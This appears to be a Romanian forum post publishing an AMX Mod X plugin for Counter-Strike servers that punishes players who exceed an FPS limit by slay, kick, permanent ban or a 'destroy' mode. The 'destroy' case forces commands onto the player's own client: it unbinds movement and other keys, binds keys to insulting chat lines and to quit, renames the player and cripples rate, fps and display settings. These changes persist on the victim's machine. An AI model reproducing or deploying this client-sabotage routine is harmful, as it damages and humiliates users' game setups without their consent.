Autor : Ex3cuTioN / Arion
Versiune : 0.03
Facilitati :
- Verifica daca jucatorul are peste X fps, daca da primeste slay/kick/ban/destroy
- Creaza fisierul anti_developer_logs.txt in folderul config unde puteti vedea ratatii
- amx_developer_pedeapsa
- 1 - Slay
- 2 - Kick
- 3 - Ban permanent
- 4 - Destroy
- amx_developer_fps_max
- 105 - Numarul de cadre pe secunda la care vrei ca jucatorul sa fie pedepsit
1. Fisierul anti_developer.sma il puneti in addons/amxmodx/scripting
2. Fisierul anti_developer.amxx il puneti in addons/amxmodx/plugins
3. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la sfarsitul fisierului:
Code: Select all
anti_developer.amxx
-google drive link-
SMA:
Code: Select all
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
new cvar_Type, cvar_Fps;
new Float:GameTime[33];
new FramesPer[33], CurFps[33], Fps[33];
public plugin_init() {
register_plugin("AntiDeveloper", "0.03","Ex3cuTioN / Arion");
cvar_Type = register_cvar("amx_developer_pedeapsa","1");
cvar_Fps = register_cvar("amx_developer_fps_max","115");
register_forward(FM_PlayerPreThink,"fwdPlayerPreThink");
}
public client_connect(id) client_cmd(id,"developer 0;fps_max 101;fps_modem 0.0");
public fwdPlayerPreThink(id) {
if(is_user_alive(id)) {
GameTime[id] = get_gametime();
if(FramesPer[id] >= GameTime[id])
Fps[id] += 1;
else {
FramesPer[id] +=1;
CurFps[id] = Fps[id];
Fps[id] = 0;
}
if(CurFps[id] > get_pcvar_num(cvar_Fps)) {
new name[32],steamid[32], szFile[128],szLog[256],timp[32];
get_user_name(id,name,31);
get_user_authid(id,steamid,31);
get_configsdir(szFile,127);
formatex(szFile,127,"%s/anti_developer_logs.txt",szFile);
get_time("%m.%d.%Y - %H:%M:%S",timp,31);
if(!file_exists(szFile)) {
write_file(szFile,"| Ratatii care joaca cu developer |",-1);
write_file(szFile,"",-1);
}
switch(get_pcvar_num(cvar_Type)) {
case 1: {
user_kill(id,1);
client_print(0,print_chat,"[LF] %s<%s> a luat slay pentru ca joaca cu %i FPS",name,steamid,CurFps[id]);
client_cmd(id,"developer 0;fps_max 101;fps_modem 0.0");
formatex(szLog,255,"%s - %s<%s> FPS<%i> - Slay",timp,name,steamid,CurFps[id]);
}
case 2: {
server_cmd("kick #%d ^"Pe acest server nu se joaca cu DEVELOPER^"", get_user_userid(id));
client_print(0,print_chat,"[LF] %s<%s> a luat kick pentru ca joaca cu %i FPS",name,steamid,CurFps[id]);
formatex(szLog,255,"%s - %s<%s> FPS<%i> - Kick",timp,name,steamid,CurFps[id]);
}
case 3: {
server_cmd("amx_ban %s 0 ^"Aici nu se joaca cu DEVELOPER.Banat permanent^"", name);
client_print(0,print_chat,"[LF] %s<%s> a primit ban permanent pentru ca joaca cu %i FPS",name,steamid,CurFps[id]);
formatex(szLog,255,"%s - %s<%s> FPS<%i> - Ban",timp,name,steamid,CurFps[id]);
}
case 4: {
client_cmd(id,"developer 1");
client_cmd(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say M-au prins jucand cu DEVELOPER, ce ***** sunt^";wait;unbind mouse2;unbind mouse3;wait;bind space quit");
client_cmd(id,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7;bind mwheelup ^"say Ce ***** sunt joc cu DEVELOPER.Dat-mi dracu ban^"");
client_cmd(id,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
client_cmd(id,"unbind end;wait;bind escape ^"say Nu merge consola, ce urat ca am jucat cu DEVELOPER^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow");
client_cmd(id,"unbind rightarrow;wait;bind mwheeldown ^"say Ce ***** sunt joc cu DEVELOPER.Dat-mi dracu ban^";unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic *****^";bind ~ ^"say Am fost distrus .^";wait;name ^"JOC CU DEVELOPER^"");
client_cmd(id,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"");
client_print(0,print_chat,"[LF] %s<%s> a primit destroy pentru ca joaca cu %i FPS",name,steamid,CurFps[id]);
formatex(szLog,255,"%s - %s<%s> FPS<%i> - DESTROY",timp,name,steamid,CurFps[id]);
}
}
write_file(szFile,szLog,-1);
}
}
return FMRES_IGNORED;
}
- 0.01 - Prima lansare
- 0.02 - Modificari mici!
- 0.03 - Am scos multe cvar-uri, colorchat, comentariile + mega optimizare cod!